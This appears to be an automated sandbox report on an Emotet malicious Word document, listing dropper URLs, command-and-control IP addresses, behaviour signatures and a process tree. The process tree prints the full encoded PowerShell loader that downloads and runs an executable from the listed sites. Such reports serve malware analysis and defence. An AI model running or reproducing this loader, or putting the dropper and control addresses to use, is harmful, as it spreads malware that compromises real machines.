Analysis

  • max time kernel
    135s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    25/08/2020, 16:47

General

  • Target
    emotet_e2_3dce2355e30fc9c2bcf1011d6e069107e0f65eef8e4b8dcab989ecdf8bc55407_2020-08-25__164512._doc.doc
  • Size 228KB
  • Sample200825-9kchqka352
  • SHA256 3dce2355e30fc9c2bcf1011d6e069107e0f65eef8e4b8dcab989ecdf8bc55407
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://smileplz.com/gobal/Ef7Coxg/

  • exe.dropper

    https://theanalysthandbook.com/db_rp/2m/

  • exe.dropper

    http://veonetwork.com/chub-new/fw0c/

  • exe.dropper

    http://yamunotrimandir.org/js/xOeAvdi/

  • exe.dropper

    http://voxdream.com/wp-includes/t8TF/

  • exe.dropper

    http://tsdunyasi.com/txttt/Y5/

  • exe.dropper

    http://zehraakgul.com/js/i/

Extracted

Family
  • emotet

C2
  • 107.5.122.110:80

  • 199.101.86.6:443

  • 45.55.219.163:443

  • 62.30.7.67:443

  • 185.94.252.104:443

  • 203.117.253.142:80

  • 93.51.50.171:8080

  • 139.130.242.43:80

  • 181.230.116.163:80

  • 37.187.72.193:8080

  • 194.187.133.160:443

  • 167.86.90.214:8080

  • 61.19.246.238:443

  • 98.109.204.230:80

  • 180.92.239.110:8080

  • 121.124.124.40:7080

  • 47.146.117.214:80

  • 110.145.77.103:80

  • 97.82.79.83:80

  • 70.121.172.89:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3dce2355e30fc9c2bcf1011d6e069107e0f65eef8e4b8dcab989ecdf8bc55407_2020-08-25__164512._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3888
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVADMAaAB6AGoAdwBtAD0AKAAnAFQAYgAnACsAJwAyACcAKwAoACcAbgB6ACcAKwAnADcAYwAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVABlAE0AUABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAYwB0AE8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwB1AFIAaQB0AGAAWQBQAGAAUgBvAHQAYABPAEMAbwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAJwApACsAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABQAHQAcwB5ADgANwBpACAAPQAgACgAKAAnAEYAMQBqAHEAJwArACcANAAnACkAKwAnAGwAJwApADsAJABMAHMAaQByAHQAdwBqAD0AKAAoACcAVwBqADIAagAnACsAJwBtAGUAJwApACsAJwBlACcAKQA7ACQAUAB1AHcAdABpAHEANgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcANgBVACcAKwAnADIAdwAnACsAKAAnAG8AcgBkADYAVQAnACsAJwAyADIAMAAnACkAKwAoACcAMQA5ADYAJwArACcAVQAyACcAKQApAC4AIgBSAGAARQBwAEwAYABBAEMAZQAiACgAKAAnADYAJwArACcAVQAyACcAKQAsAFsAUwB0AFIASQBuAGcAXQBbAEMAaABBAFIAXQA5ADIAKQApACsAJABQAHQAcwB5ADgANwBpACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAQQBpAHIANABoADEAcwA9ACgAKAAnAFMAcgAnACsAJwBzACcAKQArACcAcQAnACsAKAAnAGcAJwArACcAeAA0ACcAKQApADsAJABJAGIAMQA2AF8AcAA2AD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcARQBCAGMATABJAEUATgBUADsAJABYAG4AcABkAGIAZAA5AD0AKAAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACsAJwBtAGkAbABlAHAAJwApACsAJwBsACcAKwAnAHoAJwArACgAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAZwBvAGIAYQBsACcAKwAnAC8ARQBmACcAKQArACcANwAnACsAKAAnAEMAbwB4ACcAKwAnAGcALwAqACcAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwAHMAOgAnACkAKwAoACcALwAvACcAKwAnAHQAJwApACsAKAAnAGgAZQBhAG4AJwArACcAYQBsACcAKQArACgAJwB5AHMAJwArACcAdABoAGEAJwApACsAJwBuACcAKwAnAGQAJwArACgAJwBiAG8AJwArACcAbwBrAC4AJwApACsAKAAnAGMAbwBtAC8AZAAnACsAJwBiAF8AJwArACcAcgAnACkAKwAoACcAcAAvACcAKwAnADIAJwApACsAKAAnAG0ALwAnACsAJwAqACcAKQArACcAaAAnACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAvAHYAJwArACcAZQBvAG4AJwArACcAZQB0AHcAbwAnACsAJwByAGsALgBjAG8AbQAvAGMAJwApACsAKAAnAGgAJwArACcAdQBiACcAKQArACcALQAnACsAKAAnAG4AJwArACcAZQB3ACcAKQArACgAJwAvACcAKwAnAGYAdwAnACkAKwAnADAAJwArACgAJwBjAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwB5ACcAKQArACcAYQBtACcAKwAnAHUAbgAnACsAJwBvAHQAJwArACgAJwByAGkAJwArACcAbQAnACkAKwAoACcAYQBuAGQAJwArACcAaQByACcAKQArACcALgBvACcAKwAnAHIAJwArACgAJwBnACcAKwAnAC8AagBzAC8AeAAnACsAJwBPACcAKQArACgAJwBlAEEAdgAnACsAJwBkACcAKQArACcAaQAvACcAKwAnACoAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvACcAKQArACgAJwB2AG8AJwArACcAeAAnACkAKwAoACcAZAByACcAKwAnAGUAYQAnACkAKwAnAG0ALgAnACsAKAAnAGMAJwArACcAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAtAGkAbgBjAGwAdQBkACcAKwAnAGUAJwApACsAJwBzACcAKwAoACcALwAnACsAJwB0ADgAVABGAC8AKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AdAAnACsAJwBzAGQAdQAnACkAKwAoACcAbgAnACsAJwB5AGEAJwApACsAJwBzACcAKwAnAGkALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAoACcAdAB4ACcAKwAnAHQAJwArACcAdAB0AC8AWQAnACkAKwAnADUALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AegBlAGgAJwArACcAcgBhAGEAJwArACcAawAnACkAKwAnAGcAJwArACgAJwB1AGwALgBjAG8AbQAvACcAKwAnAGoAcwAnACkAKwAoACcALwBpACcAKwAnAC8AJwApACkALgAiAFMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATAB2ADIAZwBhAGUANAA9ACgAKAAnAE0AbQAnACsAJwA4AGQAOQB3ACcAKQArACcAMQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABTAHMAMABiAGQAbAA1ACAAaQBuACAAJABYAG4AcABkAGIAZAA5ACkAewB0AHIAeQB7ACQASQBiADEANgBfAHAANgAuACIAZABPAHcAbgBMAGAAbwBBAGQARgBJAGAAbABFACIAKAAkAFMAcwAwAGIAZABsADUALAAgACQAUAB1AHcAdABpAHEANgApADsAJABDADAAaQBoAGwAdABfAD0AKAAnAEEAMQAnACsAKAAnADMAYwBlACcAKwAnADQAJwApACsAJwB0ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAHUAdwB0AGkAcQA2ACkALgAiAGwAYABlAE4AYABnAHQASAAiACAALQBnAGUAIAAyADQAMwAyADYAKQAgAHsAJgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAUAB1AHcAdABpAHEANgApADsAJABJADQAMgBuADkAMgA4AD0AKAAoACcAWQBsADcAJwArACcANQBwACcAKQArACcAdgBkACcAKQA7AGIAcgBlAGEAawA7ACQAUABuAGkAbwB2AGQAOQA9ACgAJwBBAGcAJwArACgAJwBrAG0AMQBwACcAKwAnAHkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAdwB3ADUAXwB0AGYAPQAoACcASQA0ACcAKwAoACcAbgAnACsAJwBpAGUAJwApACsAJwA5AHcAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2724
    • C:\Users\Admin\AppData\Local\Temp\word\2019\F1jq4l.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\F1jq4l.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3568
      • C:\Windows\SysWOW64\migisol\Windows.System.Profile.HardwareId.exe
        "C:\Windows\SysWOW64\migisol\Windows.System.Profile.HardwareId.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1632

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1632-18-0x0000000000650000-0x000000000065C000-memory.dmp

        memory/2724-9-0x00007FF8807D0000-0x00007FF8811BC000-memory.dmp

        memory/2724-10-0x000002EAD4630000-0x000002EAD4631000-memory.dmp

        memory/2724-11-0x000002EAECDE0000-0x000002EAECDE1000-memory.dmp

        memory/3568-15-0x0000000000610000-0x000000000061C000-memory.dmp

        memory/3888-0-0x00007FF888C50000-0x00007FF889316000-memory.dmp

        memory/3888-6-0x0000026B9519E000-0x0000026B951B1000-memory.dmp